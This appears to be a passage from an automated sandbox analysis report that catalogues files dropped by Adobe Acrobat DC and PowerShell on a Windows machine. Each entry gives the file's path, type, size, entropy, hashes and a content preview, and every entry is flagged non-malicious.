SHA-256:	2040ABEEA864AF574E84128DB514B753C4F4AF6F9225082A580AD65A89A23508
SHA-512:	B39B7D039B16F20BAFFA62EB6B607C58550560E87613F7AF5DEE1F7835B7456A5BE75B341D672A8358C391A62B462857C29933988D6AE36C51819EE90DFF0434
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.25523259324329
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJf21rPeUkwRe9:YvXKXl/vR/ZwHAcG+16Ukee9
MD5:	92C2896ECDFE610999BF9EA7546E8F13
SHA1:	5061AA982B09589B5E713BD589B55C8A2E2122F5
SHA-256:	BAB82A3ABF49D33879EB8EDD1DC9D026829C2DCF64C6B3AC0174B6B510BD816B
SHA-512:	B1FDF4F6F448EE6F441554DFB4F80A25A8CCB993CAE93332954124E59E233DFFA7DCC29198105DA892042EE66998B258E39D9EFE3D4CD9CF69EF8C7A017F2535
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665704131572482
Encrypted:	false
SSDEEP:	24:Yv6Xl/JhNamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvE/JhhBgkDMUJUAh8cvMQ
MD5:	45DDB9EC6E907365442DF96D31269009
SHA1:	63858BEE244542106203F7389E2A122374A4A7C2
SHA-256:	0B280C0D6DF9EDADCA83903DC71DE21BF0CF3438893FD426E472DB1F69506FF6
SHA-512:	5761C4FF9C25C931E81A3A3AFC01323B72A380BFE342B74FCBAFC38215703C965FEA9F1A0802004FE9756948E710A658487D84C4044C3BF60307E5DE830B9020
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.230146293713673
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfshHHrPeUkwRe9:YvXKXl/vR/ZwHAcGUUUkee9
MD5:	24A035637828CA09E226BD69CCFF1351
SHA1:	94F2A4A0E87BAABC9CE7CDACF111D3E1AEC87FBC
SHA-256:	5C055C023586F871635B66589B3B2B3F2A0E8BE5967B7D49DF3D69AAA4C4ABA0
SHA-512:	1EDF422614B58BEC3309786CAE4F7D892C10C6417DB4359F7E8F597D8541C17E01E4AA3335903153D328078D1AF31DC020D48D01CD087399A2EEFE62AAF0DF1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.255008961973144
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJTqgFCrPeUkwRe9:YvXKXl/vR/ZwHAcGTq16Ukee9
MD5:	77C9C886B37F71CAF911121AECB41B4E
SHA1:	F9316768E9B86469C3CFA1CF73BB49321BB816E9
SHA-256:	2E3591E5A442E70678B8AD4887806230C0AC6A37179709184DAD3CEBABC72C7E
SHA-512:	340A5EB95E6131FFC4A6C766B2E603F61B3299467C4F3D24CCE703CD4FBB0F10CF79C6491D5FDEC93C3C47C89999F98B2D064846CE02DB70DC63E93C11B0D35B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140966711870755
Encrypted:	false
SSDEEP:	48:Ya9le5KJxHl/HA+Vspt6lr2Z719n9MUQg:EgJxFfJlg7lMUQg
MD5:	8485C2A1E99357EC983761D14BFB024A
SHA1:	9E7E25AB92978E17D835AC92FFAB481C4703B125
SHA-256:	99F6FB1A38D4DA7944E6658B9E59B69979D52762D46117EB2045480F2470827A
SHA-512:	028468D1A07D11B3476622B8036B508A6516E540C2191E37836CC3B1B1D9053B96E23A02DB2528C0211C557F26B8ED6222BD2420B56CFEBA39396B69579A2428
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"701b9c21896c0bf880b3155e58035753","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534043000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ded74ba0b73f7d576b948bab7a80b2cd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534043000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c20d9661b26fed87d706d1db64bcdcb8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534043000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"69e13b8c86f3c44ce37c2c2695fdeb10","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534043000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e982ff6f0eb719a969296ec47b6efa7d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534043000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0bc0a1ecd20bb33fa58d14b89b2d7965","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192557208679858
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe0tqVpa/:TGufl2GL7ms9WR1CPmPbPaheypilIm
MD5:	F3FF6D01E153240ACD965CEDFBBBF522
SHA1:	60411BFFC5619C61CA30CC6F422EC2313B223764
SHA-256:	1E59B950682540E3C4F7518AE02E1E1D73B20E15BF2728AF64E09139BD3FB3E6
SHA-512:	C4725D4CE8DAA72D9C65A61AE92EB82581B711651FC8127F25E9EA41665D7D8439D18B7AB53A8F5C86988DE1414F27D289A9399AB52B0A4BA8486CCB8FEA286E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7833095698395973
Encrypted:	false
SSDEEP:	24:7+tSlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe04qVpaVrScVr0IndqLhx/X2:7MZWR1CPmPbPahHypilIkqFl2GL7mss
MD5:	7A226FF0FAC98BC00D918AAA832419E7
SHA1:	8949810DEEBE48856E9E233E9D10F0262E6828E8
SHA-256:	B7C98E42AF7E5EF89AB544FF94B5A133921B35902AB1239843DCCA93DFD99277
SHA-512:	ED72BD8DB5B7A8EE7C3FE8E03D05B999D47D000B48E2C8BE55EC73F01C852154E90F71F593035E891BE5FE614C339E683A538822603D2D9DE75C60B7419DCCBF
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgy4pp8JM2Zh1ySbkNhLHbtYszYyu:6a6TZ44ADEy4pp8J7hfbezK
MD5:	16AA1E044EC003D10BABAA0E44848990
SHA1:	A3BA5ECB1A2C6DF36AE16C37BB2FC0132772FF0E
SHA-256:	93A8757B71AA87CB55AF3D620B224316E1FB9F49EAE917EDE8F83E557B5B9DA7
SHA-512:	A310B1217DD421A49565664359C86EF33C7EA9791C29C55225FDCF4AFDD44B880F867B943F894755B1B7F07A7381496CF47712F2DC1D15F36333C30B24EE94B3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI471.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErdH:Qw946cPbiOxDlbYnuRK+bDpH
MD5:	9FE4428688096C0D03D71F38A232B31D
SHA1:	3DE0383047AF89903929F7EDED137217FEF25112
SHA-256:	C86B3D426178BFF8CAC994AF8C2497A4B4A9BD4DA1CBDCC7A46953B36FA28162
SHA-512:	11437A6BE1859B6918A682E6B7F0A2F4F9F8BF6F1CA6D858943DF3691EEC6C91A27B1FAC039C4EFC4D5C75D174A6C4D0E6D336562DDA76B6E2507969181F639E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.3.4.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0rscxlpa.kb3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihsdta5o.g1o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-33-56-699.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350485137058036
Encrypted:	false
SSDEEP:	384:44C9aUjTkrqw5Tp7reCTkWzOCloXHgWgagCYrYMptpMxQCC+4a8MTLryNyPqlT0T:wYS
MD5:	F2CC1BB8F453722F06820CA45228FE44
SHA1:	1AA3FBFDB0ABDF457C75E9A1AC1A69BA9FB5F4FD
SHA-256:	CF5075BB345CCE70105A31F52D1B74F6E6225C19048161DE74CB7987555DE454
SHA-512:	D3CC38D7F475732686548AEC1D443CFF53949DD9483F4227280B604DD4FAFC4661B2D05545A6B7A82E6A65337CE56160DB9AF83E885EFC6B5480F6086B056903
Malicious:	false
Preview:	SessionID=83386789-8198-4651-a021-4160cb8d4583.1736534036714 Timestamp=2025-01-10T13:33:56:714-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=83386789-8198-4651-a021-4160cb8d4583.1736534036714 Timestamp=2025-01-10T13:33:56:715-0500 ThreadID=7812 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=83386789-8198-4651-a021-4160cb8d4583.1736534036714 Timestamp=2025-01-10T13:33:56:715-0500 ThreadID=7812 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=83386789-8198-4651-a021-4160cb8d4583.1736534036714 Timestamp=2025-01-10T13:33:56:715-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=83386789-8198-4651-a021-4160cb8d4583.1736534036714 Timestamp=2025-01-10T13:33:56:715-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.409324158484232
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbpicbAI3fcbd:ceo4+rsCLV3w
MD5:	CE645C8CB81945AC5559DB836C870729
SHA1:	2D2E09218DA83E7766B54E628A1BD4724A1B36A6
SHA-256:	D50D045DFCF2CDBAA21F8CF53564CD75F76289A6323D1BDB101E86C5DA22B578
SHA-512:	F3912687DADEDB6ECF8C73147F73C95C5FDC3D355938E5A140A0D1955A0C282D6258E5870B4FCF6EF9156BF3E611D61E295316DC7891065921B5179EF2FC84B2
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0ffa0e8c-2db0-4a30-89b6-854d6c2a7830.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7191f810-0ef3-4c61-a23a-271d61f505e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8e5d9a19-09be-42a3-acf5-448eede1df47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
